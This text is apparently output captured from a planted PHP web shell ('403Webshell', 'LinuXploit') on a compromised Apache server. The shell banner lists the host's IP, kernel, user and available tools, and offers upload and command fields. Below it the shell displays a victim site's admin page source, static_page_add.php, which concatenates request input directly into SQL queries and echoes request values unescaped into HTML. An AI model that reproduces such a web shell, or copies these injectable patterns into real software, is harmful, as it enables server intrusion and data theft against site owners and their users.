403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rsdgroup/adminPanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rsdgroup/adminPanel/static_page_add.php
<?php 
include_once("session.php");
include_once("settings.php");
include_once("functions.php");

if($_REQUEST["mode"]=="Edit"){
	$mode	=	"Edit";
	$mode2	=	"EDIT";
	$mode1	=	"Update";
	$id		=	$_REQUEST['id'];
	$rs_tblsite		=	mysql_query("select * from `tbl_static_pages` where `staticId` = '".$id."'");
	$array_tblsite	=	mysql_fetch_assoc($rs_tblsite);
	$Id				=	$array_tblsite['staticId'];
	$company_name	=	$array_tblsite['staticTitle'];
	$Description	=	$array_tblsite['staticDescription'];
	$headerImage	=	$array_tblsite['headerImage'];
	foreach($array_tblsite as $key => $value){
		$$key = $value;
	}
} 	 	 	
else{
	$mode	=	"Add";
	$mode2	=	"ADD";
	$mode1	=	"Add";
}

function listdisplaydropdownvaluesproduct($dropdownname,$dropdownid,$tablename,$columnname,$field_value){  	
	$function_query= "Select  `$dropdownid`,`$columnname` from `$tablename` where enable ='Activate' order by staticId ASC";
	$result = mysql_query($function_query);
	echo "<select id=\"" . $dropdownname . "\" class=\"txtfield\" style=\"width:300px\"    name=\"" . $dropdownname . "\">";
	while ($row = mysql_fetch_array($result, MYSQL_BOTH)) {
		if ($row[0] == $field_value){
			echo "<option value=\"" . $row[0] . "\" SELECTED >" . getCategoryRoot($row[0]) .  "</option>";
		}
		else{
			echo "<option value=\"" . $row[0] . "\">" . getCategoryRoot($row[0]) . "</option>";
		}
	}		
	echo "</select>";
}
function getCategoryRoot($staticId){
	if($staticId<1){}
	else{
		$sql	=	"select `staticId`,parentId,staticTitle from `tbl_static_pages` where `staticId`='$staticId' and enable ='Activate'";
		$Result	=	mysql_query($sql);
		$row	=	mysql_fetch_array($Result);
		if($row[1]>0) { $con=" >> "; } else { $con="";}
		$staticId	=	$row[0];
		return (getCategoryRoot($row[1]).$con.$row[2]);
	}
}
?>
<LINK href="mel.css" type=text/css rel=stylesheet>
<LINK href="sdmenu.css" type=text/css rel=stylesheet>
<script type="text/javascript" src="../js/jquery-1.7.1.min.js"></script>
<script>
function MM_findObj(n, d) { //v4.01
	var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
	d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
	if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
	for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
	if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_validateForm() { //v4.0
	var i,p,q,nm,test,num,min,max,errors='',args=MM_validateForm.arguments;
	for (i=0; i<(args.length-2); i+=3) { test=args[i+2]; val=MM_findObj(args[i]);
		if (val) { nm=val.name; if ((val=val.value)!="") {
			if (test.indexOf('isEmail')!=-1) { p=val.indexOf('@');
				if (p<1 || p==(val.length-1)) errors+='- '+nm+' must contain an e-mail address.\n';
			} else if (test!='R') { num = parseFloat(val);
				if (isNaN(val)) errors+='- '+nm+' must contain a number.\n';
				if (test.indexOf('inRange') != -1) { p=test.indexOf(':');
					min=test.substring(8,p); max=test.substring(p+1);
					if (num<min || max<num) errors+='- '+nm+' must contain a number between '+min+' and '+max+'.\n';
				} 
			}
		} else if (test.charAt(0) == 'R') errors += '- '+nm+' is required.\n'; }
	}	 
	if (errors) alert('The following error(s) occurred:\n'+errors);
	document.MM_returnValue = (errors == '');
}
//-->

function showExternal(){
	$(".externalLink").show();
	$(".description").hide();
}
function showDesc(){
	$(".externalLink").hide();
	$(".description").show();
}

</script>
<table width="94%" border="0" cellspacing="0" cellpadding="0">
	<tr> 
		<td>
			<form  name="add_news_form" action="write_static_page.php" method="post"  enctype="multipart/form-data" onsubmit="MM_validateForm('txtTitle','','R');return document.MM_returnValue">
			<fieldset>
				<legend>STATIC PAGE <?=$mode2;?> FORM</legend>
				<table width="97%" border="0" cellspacing="2" cellpadding="0">
					<tr> 
						<td width="26%" height="26" class="general">Parent Category :</td>
						<td width="74%" height="26" ><?=listdisplaydropdownvaluesproduct('parentId','staticId','tbl_static_pages','staticTitle',@$array_tblsite["parentId"]);?></td>
					</tr>
					<tr> 
						<td width="26%" height="26" class="general">Title :</td>
						<td width="74%" height="26" ><input name="txtTitle" type="text" class="textfield" id="txtTitle"  value="<?=$staticTitle;?>" size="50"/></td>
					</tr>
					<tr> 
						<td width="26%" height="26" class="general">Header Banner :</td>
						<td width="74%" height="26" ><input name="header" type="file" class="textfield" /> <?php if($headerImage!="") { ?><img src="../cat_images/headerImage/<?=$headerImage;?>" width="189" height="81"> <?php } ?></td>
					</tr>
					<tr>
						<td width="26%" height="26" class="general">Link Type</td>
						<td width="74%" height="26" class="general" ><input name="linkType" type="radio" class="textfield" value="other" onclick="showExternal()" <?php if($linkType=="other"){echo "checked";}?>/>External Link
						<input name="linkType" type="radio" value="desc" class="textfield" onclick="showDesc()" <?php if($linkType=="desc"){echo "checked";}?>/>Description </td>
					</tr>
					
					<?php if(($linkType=="other") AND ($_REQUEST["mode"]=="Edit")) { ?>
						<tr class="externalLink">
							<td width="26%" height="26" class="general">External Link</td>
							<td width="74%" height="26"><input name="externalLink" type="text" class="login-textfield" value="<?php echo $externalLink; ?>"></td>
						</tr>
					<?php } else{ ?>
					<tr class="externalLink" style='display:none;'>
						<td width="26%" height="26" class="general">External Link</td>
						<td width="74%" height="26"><input name="externalLink" type="text" class="login-textfield" value="<?php echo $externalLink; ?>"></td>
					</tr>
					<?php } ?>

					<?php if(($linkType=="other") AND ($_REQUEST["mode"]=="Edit")) { ?>
						<tr class="description"  style='display:none;'>
							<td height="26" class="general">Description :</td>
							<td height="26">&nbsp;</td>
						</tr>
						<tr class="description"  style='display:none;'> 
							<td height="26" colspan="2" class="general">
							<?php			 
								include_once("fckeditor/fckeditor.php") ;
								$oFCKeditor = new FCKeditor("EditDescription") ;
								$oFCKeditor->BasePath = "fckeditor/" ;
								$oFCKeditor->Value = @stripslashes(@$staticDescription);
								$oFCKeditor->Height = 400 ;
								$oFCKeditor->Width = 700 ;
								$oFCKeditor->Create() ;
							?>	
							</td>
						</tr>
					<?php } else{ ?>
						<tr class="description">
							<td height="26" class="general">Description :</td>
							<td height="26">&nbsp;</td>
						</tr>
						<tr class="description"> 
							<td height="26" colspan="2" class="general">
							<?php			 
								include_once("fckeditor/fckeditor.php") ;
								$oFCKeditor = new FCKeditor("EditDescription") ;
								$oFCKeditor->BasePath = "fckeditor/" ;
								$oFCKeditor->Value = @stripslashes(@$staticDescription);
								$oFCKeditor->Height = 400 ;
								$oFCKeditor->Width = 700 ;
								$oFCKeditor->Create() ;
							?>	
							</td>
						</tr>
					<?php } ?>
					
								
					<tr>
						<td height="26" class="general">Meta Title  :</td>
						<td height="26" class="general"><input name="metaTitle" type="text" class="textfield" id="metaTitle"  value="<?=$metaTitle;?>" size="50" maxlength="255"/></td>
					</tr>
					<tr>
						<td height="26" class="general">Meta Keyword  :</td>
						<td height="26" class="general"><input name="metaKeyword" type="text" class="textfield" id="metaKeyword"  value="<?=$metaKeywords;?>" size="50" maxlength="255"/></td>
					</tr>
					<tr>
						<td height="26" class="general">Meta Description  :</td>
						<td height="26" class="general"><textarea name="metaDescription" class="textfield" cols="65" rows="5" id="metaDescription"><?=stripslashes($metaDescription)?></textarea></td>
					</tr>
					<tr>
						<td height="26" class="general">Status</td>
						<td colspan='2' class="col-border_event">
							<select name="status" size="1" id="status" class="login-textfield">
								<option value="Activate" <?php if($enable=="Activate"){echo "selected";}?>>Activate</option>
								<option value="Deactivate" <?php if($enable=="Deactivate"){echo "selected";}?>>Deactivate</option>
							</select>
						</td>
					</tr>
					<tr align="center"> 
						<td height="26" colspan="2">
							<label for="label"> 
								<input type="hidden" name="id" value="<?=$_REQUEST['id']?>" />
								<input type="submit" name="Submit" value="  Save  " class="button" />
								&nbsp;&nbsp;&nbsp;&nbsp; 
								<input type="reset" name="Submit" value="Reset" class="button" />
								<input name="mode" type="hidden" id="mode" value="<?=$_REQUEST['mode']?>" />
							</label>
						</td>
					</tr>
				</table>
			</fieldset>
			</form>
		</td>
	</tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit